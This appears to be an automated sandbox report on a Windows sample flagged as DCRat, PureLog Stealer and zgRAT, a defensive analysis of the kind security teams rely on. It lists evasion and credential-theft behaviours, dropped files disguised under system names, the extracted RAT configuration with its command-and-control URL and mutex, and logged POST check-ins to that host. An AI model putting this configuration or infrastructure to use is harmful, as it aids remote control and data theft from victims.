Edit tour

Windows Analysis Report
Z90Z9bYzPa.exe

Overview

General Information

Sample name:	Z90Z9bYzPa.exe renamed because original name is a hash value
Original sample name:	f022320106ebe6ef239cb75c93f6b3ad.exe
Analysis ID:	1585252
MD5:	f022320106ebe6ef239cb75c93f6b3ad
SHA1:	b183fb4f66d5327889a0440eca1a61a69ae9cc00
SHA256:	0b5266ad1c75b3a3d186a050f140ee2d11b076440320989bda85197d3716a3a1
Tags:	DCRatexeuser-abuse_ch
Infos:

Detection

DCRat, PureLog Stealer, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected DCRat

Yara detected PureLog Stealer

Yara detected zgRAT

.NET source code contains method to dynamically call methods (often used by packers)

AI detected suspicious sample

Drops executable to a common third party application directory

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Files With System Process Name In Unsuspected Locations

Tries to harvest and steal browser information (history, passwords, etc)

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

Z90Z9bYzPa.exe (PID: 7324 cmdline: "C:\Users\user\Desktop\Z90Z9bYzPa.exe" MD5: F022320106EBE6EF239CB75C93F6B3AD)

cmd.exe (PID: 7412 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\JcekoaVTX1.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7468 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

PING.EXE (PID: 7484 cmdline: ping -n 10 localhost MD5: 2F46799D79D22AC72C241EC0322B011D)

Z90Z9bYzPa.exe (PID: 7560 cmdline: "C:\Users\user\Desktop\Z90Z9bYzPa.exe" MD5: F022320106EBE6EF239CB75C93F6B3AD)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Malware Configuration

Threatname: DCRat

{"C2 url": "http://306577cm.nyashka.top/LowServerflowerwordpress", "MUTEX": "DCR_MUTEX-SdRiWVLSco7M2azqaPAP", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "true", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Z90Z9bYzPa.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
Z90Z9bYzPa.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Program Files\Windows Defender\en-US\UdtvoblhRrdVjJaLCN.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Program Files\Windows Defender\en-US\UdtvoblhRrdVjJaLCN.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Internet Explorer\en-GB\SgrmBroker.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Program Files (x86)\Internet Explorer\en-GB\SgrmBroker.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Recovery\dllhost.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Recovery\dllhost.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Recovery\dllhost.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Recovery\dllhost.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Recovery\dllhost.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Recovery\dllhost.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 5 entries

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.1668200859.0000000000EA2000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000005.00000002.2925525907.0000000003126000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000005.00000002.2925525907.00000000035AE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000000.00000002.1710313618.0000000013768000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: Z90Z9bYzPa.exe PID: 7324	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: Z90Z9bYzPa.exe PID: 7560	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.Z90Z9bYzPa.exe.ea0000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.0.Z90Z9bYzPa.exe.ea0000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\Z90Z9bYzPa.exe, ProcessId: 7324, TargetFilename: C:\Recovery\dllhost.exe

Suricata Signatures

ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-07T11:57:14.136065+0100	2048095	1	A Network Trojan was detected	192.168.2.4	49730	185.158.202.52	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Z90Z9bYzPa.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\JcekoaVTX1.bat	Avira: detection malicious, Label: BAT/Delbat.C
Source: C:\Program Files (x86)\Internet Explorer\en-GB\SgrmBroker.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Recovery\dllhost.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Program Files\Windows Defender\en-US\UdtvoblhRrdVjJaLCN.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\Desktop\FXwdgBOn.log	Avira: detection malicious, Label: TR/AVI.Agent.updqb
Source: C:\Users\user\Desktop\YLzRFcIi.log	Avira: detection malicious, Label: TR/AVI.Agent.updqb
Source: C:\Users\user\Desktop\pSQwZPnx.log	Avira: detection malicious, Label: TR/PSW.Agent.qngqt
Source: C:\Program Files\Windows Defender\en-US\UdtvoblhRrdVjJaLCN.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Program Files\Windows Defender\en-US\UdtvoblhRrdVjJaLCN.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\Desktop\OBFTQueV.log	Avira: detection malicious, Label: TR/PSW.Agent.qngqt

Found malware configuration

Source: 00000000.00000002.1710313618.0000000013768000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: DCRat {"C2 url": "http://306577cm.nyashka.top/LowServerflowerwordpress", "MUTEX": "DCR_MUTEX-SdRiWVLSco7M2azqaPAP", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "true", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}

Multi AV Scanner detection for dropped file

Source: C:\Program Files (x86)\Internet Explorer\en-GB\SgrmBroker.exe	ReversingLabs: Detection: 71%
Source: C:\Program Files\Windows Defender\en-US\UdtvoblhRrdVjJaLCN.exe	ReversingLabs: Detection: 71%
Source: C:\ProgramData\Microsoft\UEV\Scripts\UdtvoblhRrdVjJaLCN.exe	ReversingLabs: Detection: 71%
Source: C:\Recovery\UdtvoblhRrdVjJaLCN.exe	ReversingLabs: Detection: 71%
Source: C:\Recovery\dllhost.exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\Desktop\FXwdgBOn.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\OBFTQueV.log	ReversingLabs: Detection: 70%
Source: C:\Users\user\Desktop\WBdQFKdi.log	ReversingLabs: Detection: 37%
Source: C:\Users\user\Desktop\YLzRFcIi.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\pSQwZPnx.log	ReversingLabs: Detection: 70%
Source: C:\Users\user\Desktop\vrCFbZuL.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\wpdNwZJG.log	ReversingLabs: Detection: 37%
Source: C:\Users\user\Desktop\xzxenIoj.log	ReversingLabs: Detection: 25%

Multi AV Scanner detection for submitted file

Source: Z90Z9bYzPa.exe	Virustotal: Detection: 55%			Perma Link
Source: Z90Z9bYzPa.exe	ReversingLabs: Detection: 71%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\Internet Explorer\en-GB\SgrmBroker.exe	Joe Sandbox ML: detected
Source: C:\Recovery\dllhost.exe	Joe Sandbox ML: detected
Source: C:\Program Files\Windows Defender\en-US\UdtvoblhRrdVjJaLCN.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\FuMllXyT.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\pSQwZPnx.log	Joe Sandbox ML: detected
Source: C:\Program Files\Windows Defender\en-US\UdtvoblhRrdVjJaLCN.exe	Joe Sandbox ML: detected
Source: C:\Program Files\Windows Defender\en-US\UdtvoblhRrdVjJaLCN.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\OBFTQueV.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\nLVYNftZ.log	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Z90Z9bYzPa.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1710313618.0000000013768000.00000004.00000800.00020000.00000000.sdmp	String decryptor: ["bj0UKX3O1fsx9BYPGXoKHqjvLayVva1jN63FIaBpzhY4ZE1D43om8NOuAFJtihcbnIkDHSHpW8UjRpWHjvb2vPk9sIFCRRHSF7QQdy5lw8PA2odUtBKwGkpYhlU9MEYF","DCR_MUTEX-SdRiWVLSco7M2azqaPAP","0","","","5","2","WyIxIiwiIiwiNSJd","WyIxIiwiV3lJaUxDSWlMQ0psZVVsM1NXcHZhV1V4VGxwVk1WSkdWRlZTVTFOV1drWm1VemxXWXpKV2VXTjVPR2xNUTBsNFNXcHZhVnB0Um5Oak1sVnBURU5KZVVscWIybGFiVVp6WXpKVmFVeERTWHBKYW05cFpFaEtNVnBUU1hOSmFsRnBUMmxLTUdOdVZteEphWGRwVGxOSk5rbHVVbmxrVjFWcFRFTkpNa2xxYjJsa1NFb3hXbE5KYzBscVkybFBhVW93WTI1V2JFbHBkMmxQUTBrMlNXNVNlV1JYVldsTVEwazFTV3B2YVdSSVNqRmFVMGx6U1dwRmQwbHFiMmxrU0VveFdsTkpjMGxxUlhoSmFtOXBaRWhLTVZwVFNYTkpha1Y1U1dwdmFXUklTakZhVTBselNXcEZla2xxYjJsa1NFb3hXbE5KYzBscVJUQkphbTlwWkVoS01WcFRTamtpWFE9PSJd"]
Source: 00000000.00000002.1710313618.0000000013768000.00000004.00000800.00020000.00000000.sdmp	String decryptor: [["http://306577cm.nyashka.top/","LowServerflowerwordpress"]]

Source: Z90Z9bYzPa.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Directory created: C:\Program Files\Windows Defender\en-US\UdtvoblhRrdVjJaLCN.exe			Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Directory created: C:\Program Files\Windows Defender\en-US\6e10d114dd40fd			Jump to behavior

Source: Z90Z9bYzPa.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:49730 -> 185.158.202.52:80

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost

Source: Joe Sandbox View

ASN Name: PREVIDER-ASNL PREVIDER-ASNL

Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 384Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 1856Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 1856Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 1856Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 1856Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 253252Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 1860Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 1860Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 1860Expect: 100-continueConnection: Keep-Alive
